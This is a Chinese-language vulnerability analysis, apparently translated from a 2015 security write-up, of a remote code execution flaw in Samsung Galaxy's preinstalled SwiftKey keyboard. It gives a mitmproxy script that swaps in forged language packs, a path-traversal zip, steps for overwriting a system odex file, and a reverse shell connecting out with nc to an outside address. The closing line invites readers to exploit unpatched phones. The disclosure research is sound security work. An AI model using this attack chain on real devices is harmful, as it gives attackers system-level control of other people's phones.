三星Galaxy手機遠程代碼執行漏洞分析
責編：admin ｜2015-06-17 18:31:06遠程攻擊者完全有能力控制用戶網絡流量，操縱三星手機的鍵盤更新機制，并且在目標手機上使用系統用戶權限執行代碼。
在三星設備中預裝的快速鍵盤，無法禁用也無法卸載。即使這個快速鍵盤并非用戶默認使用，攻擊者也能夠利用！
概念驗證：https://github.com/nowsecure/samsung-ime-rce-poc/
工作原理
不幸的是，OEM以及運營商經常會在設備中預裝一些第三方軟件，許多情況下這些軟件所擁有的權限特別高。這次的主角是三星的Swift keyboard（快速鍵盤）
???/tmp??aapt?d?badging?SamsungIME.apk?|?head?-3 ???????package:?name='com.sec.android.inputmethod'?versionCode='4'?versionName='4.0' ???????sdkVersion:'18' ???????targetSdkVersion:'19' ??????????/tmp??shasum?SamsungIME.apk ???????72f05eff8aecb62eee0ec17aa4433b3829fd8d22??SamsungIME.apk
???/tmp??aapt?d?xmltree?SamsungIME.apk?AndroidManifest.xml?|?grep?shared ???????????A:?android:sharedUserId(0x0101000b)="android.uid.system"?(Raw:?"android.uid.system")
從中我們可以看出這個鍵盤輸入軟件使用三星的私有簽名，并且在設備中擁有特殊權限。system權限啊,這尼瑪！
準備工作
針對此漏洞的攻擊媒介需要攻擊者能夠修改上行流量，該漏洞在重啟后可自動觸發。
測試機器為一臺帶USB Wi-Fi工具的Linux VM，所有的http流量都重定向到https://mitmproxy.org/
漏洞的發現
Swift有一個更新機制，運行添加新語言或者升級現有語言。當用戶下載一個附加語言包，我們看到網絡請求：
?GET?http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/az_AZ.zip ??????????????←?200?application/zip?995.63kB?601ms
當Zip文件下載完成，就進行提取了：
/data/data/com.sec.android.inputmethod/app_SwiftKey/<languagePackAbbrev>/.
root@kltevzw:/data/data/com.sec.android.inputmethod/app_SwiftKey/az_AZ?#?ls?-l ???????-rw-------?system???system?????606366?2015-06-11?15:16?az_AZ_bg_c.lm1 ???????-rw-------?system???system????1524814?2015-06-11?15:16?az_AZ_bg_c.lm3 ???????-rw-------?system???system????????413?2015-06-11?15:16?charactermap.json ???????-rw-------?system???system?????????36?2015-06-11?15:16?extraData.json ???????-rw-------?system???system?????????55?2015-06-11?15:16?punctuation.json
可以看到.zip文件被寫入system權限，這個權限能操作系統文件了。由于應用程序通過明文方式發送zip文件，我們嘗試進行一些修改。
我們可以通過設置一個全局Wi-Fi代理并且在計算機上將設備指向mitmproxy。接著編寫一個快速腳本：
def?request(context,?flow):
???????????if?not?flow.request.host?==?"kslm.swiftkey.net"?or?not?flow.request.endswith(".zip"):
?????????????return
???????
???????????resp?=?HTTPResponse(
???????????????[1,?1],?200,?"OK",
???????????????ODictCaseless([["Content-Type",?"application/zip"]]),
???????????????"helloworld")
???????
???????????with?open('test_language.zip',?'r')?as?f:
?????????????payload?=?f.read()
?????????????resp.content?=?payload
?????????????resp.headers["Content-Length"]?=?[len(payload)]
???????
???????????flow.reply(resp)
payload十分簡單，就包含一個文件
???/tmp??unzip?-l?test_keyboard.zip ???????Archive:??test_keyboard.zip ?????????Length?????Date???Time????Name ????????--------????----???----????---- ???????????????6??06-11-15?15:33???test ????????--------???????????????????------- ???????????????6???????????????????1?file
檢測/data/data/com.sec.android.inputmethod/app_SwiftKey /<languagePackAbbrev> 之后，我們注意到不論是我們的語言包還是測試文件都不存在了。應用程序驗證了zip文件，經過后面的探尋，在之前下載的zip文件中發現一個 manifest，這個manifest包括了所有語言包，語言包的url，及zip包的SHA1 hash。
在mitmproxy中的請求：
>>?GET?http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json ??????????????←?200?application/json?15.38kB?310ms
通過jq我們仔細觀察這個manifest文件：
??curl?-s?'http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json'?|?jq?'.[]?|?select(.name?==?"English?(US)")'
服務器返回一個語言表，語言表的URL，以及他們的SHA1 hash。服務器響應示例（僅選擇English payload）：
{
?????????"name":?"English?(US)",
?????????"language":?"en",
?????????"country":?"US",
?????????"sha1":?"3b98ee695b3482bd8128e3bc505b427155aba032",
?????????"version":?13,
?????????"archive":?"http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/en_US.zip",
?????????"live":?{
???????????"sha1":?"b846a2433cf5fbfb4f6f9ba6c27b6462bb1a923c",
???????????"version":?1181,
???????????"archive":?"http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/ll_en_US.zip"
?????????}
???????}
我們正在下載的語言升級包SHA1經過manifest中的信息驗證，如果我們預先計算出payload的SHA1并創建我們自己的 manifest文件，我們就可以隨意的改變這些zip文件了。此外，對于我們的payload，給先添加一個路徑遍歷，并試圖將文件寫入/data/.
???samsung_keyboard_hax??unzip?-l?evil.zip? ???????Archive:??evil.zip ?????????Length??????Date????Time????Name ???????---------??----------?-----???---- ???????????????5??2014-08-22?18:52???../../../../../../../../data/payload ???????---------?????????????????????------- ???????????????5?????????????????????1?file
適當的修改?manifest文件之后，我們檢查我們payload文件，謝天謝地還在。
???samsung_keyboard_hax??adbx?shell?su?-c?"ls?-l?/data/payload" ???????-rw-------?system???system??????????5?2014-08-22?16:07?payload
文件寫入可執行代碼
現在，我們可以將任意文件賦予system權限了，我們的目標是就是將他粗暴的寫入代碼執行。Swift keyboard 自身在其目錄并沒有可執行代碼可供我們覆蓋。別吵，我們去別處看看。
對文件進行dex優化之后，會緩存在/data/dalvik-cache/。我們現在需要尋找system組的文件，這樣就可以通過system user權限執行。
root@kltevzw:/data/dalvik-cache?#?/data/local/tmp/busybox?find?.?-type?f?-group?1000 ???????./system@framework@colorextractionlib.jar@classes.dex ???????./system@framework@com.google.android.media.effects.jar@classes.dex ???????./system@framework@com.google.android.maps.jar@classes.dex ???????./system@framework@VZWAPNLib.apk@classes.dex ???????./system@framework@cneapiclient.jar@classes.dex ???????./system@framework@com.samsung.device.jar@classes.dex ???????./system@framework@com.quicinc.cne.jar@classes.dex ???????./system@framework@qmapbridge.jar@classes.dex ???????./system@framework@rcsimssettings.jar@classes.dex ???????./system@framework@rcsservice.jar@classes.dex ???????./system@priv-app@DeviceTest.apk@classes.dex
在列表中，我們要選擇一個目標組件自動調用。理想情況下，對于整個odex文件僅替換我們感興趣的目標。最好選擇 DeviceTest?(/data/dalvik-cache/system@priv-app@DeviceTest.apk@classes.dex) 作為目標。
反編譯之后查看manifest文件，我們看到應用確實有sharedUserId=”android.id.system”，并且看到BroadcastReceiver定義，啟動它可以自動進行重啟設備。
<manifest?android:sharedUserId="android.uid.system"?android:versionCode="1"?android:versionName="1.0"?package="com.sec.factory"?xmlns:android="http://schemas.android.com/apk/res/android"> ???????... ???????????????<receiver?android:name="com.sec.factory.entry.FactoryTestBroadcastReceiver"> ???????????????????<intent-filter> ???????????????????????<action?android:name="android.intent.action.MEDIA_SCANNER_FINISHED"?/> ???????????????????????<data?android:scheme="file"?/> ???????????????????</intent-filter> ???????????????????<intent-filter> ???????????????????????<action?android:name="android.intent.action.PACKAGE_CHANGED"?/> ???????????????????????<data?android:scheme="package"?/> ???????????????????</intent-filter> ???????????????????<intent-filter> ???????????????????????<action?android:name="android.intent.action.PRE_BOOT_COMPLETED"?/> ???????????????????????<action?android:name="android.intent.action.BOOT_COMPLETED"?/> ???????????????????</intent-filter> ???????????????????<intent-filter> ???????????????????????<action?android:name="com.sec.atd.request_reconnect"?/> ???????????????????????<action?android:name="android.intent.action.CSC_MODEM_SETTING"?/> ???????????????????</intent-filter> ???????????????</receiver>
我們需要為com.sec.factory.entry.FactoryTestBroadcastReceiver生成一個odex文件：
?cat?FactoryTestBroadcastReceiver.java?|?head
???????
???????package?com.sec.factory.entry;
???????import?java.lang.Class;
???????import?java.io.File;
???????import?android.content.BroadcastReceiver;
???????import?android.content.Context;
???????import?android.content.Intent;
???????import?android.util.Log;
???????
???????public?class?FactoryTestBroadcastReceiver?extends?BroadcastReceiver?{
??????????//Exploit?code?here
???????}
創建完payload之后，我們可以通過DalvikExchange (dx)工具編譯并運行它用來獲取一個包含dalvik 字節代碼的.jar文件。現在進行一些優化，將jar推送到設備生成odex
ANDROID_DATA=/data/local/tmp?dalvikvm?-cp?/data/local/tmp/<payload.jar> ?com.sec.factory.entry.FactoryTestBroadcastReceiver
緩存文件所在目錄，shell用戶可讀
shell@kltevzw:/data/local/tmp/dalvik-cache?$?ls?-l ???????-rw-r--r--?shell????shell????????3024?2014-07-18?14:09? data@local@tmp@payload.jar@classes.dex
將payload注入到我們語言包之后，觸發下載并重啟。
D/dalvikvm(?6276):?DexOpt:?---?BEGIN?'payload.jar'?(bootstrap=0)?--- ???????D/dalvikvm(?6277):?DexOpt:?load?10ms,?verify+opt?6ms,?112652?bytes ???????D/dalvikvm(?6276):?DexOpt:?---?END?'payload.jar'?(success)?--- ???????I/dalvikvm(?6366):?DexOpt:?source?file?mod?time?mismatch?(3edeaec0?vs?3ed6b326)
作為?.ODEX 頭的一部分，其存儲CRC32以及classes.dex的修改時間，它根據原始APK的zip文件結構表：
unzip?-vl?SM-G900V_KOT49H_DeviceTest.apk?classes.dex ???????Archive:??SM-G900V_KOT49H_DeviceTest.apk ????????Length???Method????Size??Ratio???Date???Time???CRC-32????Name ???????--------??------??-------?-----???----???----???------????---- ?????????643852??Defl:N???248479??61%??06-22-11?22:25??f56f855f??classes.dex ???????--------??????????-------??---????????????????????????????------- ?????????643852???????????248479??61%????????????????????????????1?file
我們需要從zip文件中拉取這兩點信息，以及修補我們經過odex的payload，讓其看上去像是從原始DeviceTest.apk生成的。請注意，CRC32以及文件修改時間并不能作為一種安全機制。我們需要明白，當緩存需要更新是因為應用程序需要更新。
修補我們的?.ODEX文件并觸發漏洞，將會執行我們的payload。出于測試目的，這里僅僅是一個反向殼
nc?192.168.181.96?8889 ???????id ???????uid=1000(system)?gid=1000(system)?groups=1000(system),1001(radio),1007(log),1010(wifi),1015(sdcard_rw),1021(gps),1023(media_rw),1024(mtp),1028(sdcard_r),2001(cache),3001(net_bt_admin),3002(net_bt),3003(inet),3004(net_raw),3005(net_admin),3009(qcom_diag),41000(u0_a31000)?context=u:r:system_app:s0
視頻：https://www.youtube.com/watch?v=uvvejToiWrY
不幸的是，這款鍵盤輸入軟件即使禁用了也能被利用。在運營商修補該漏洞之前盡情的玩耍吧。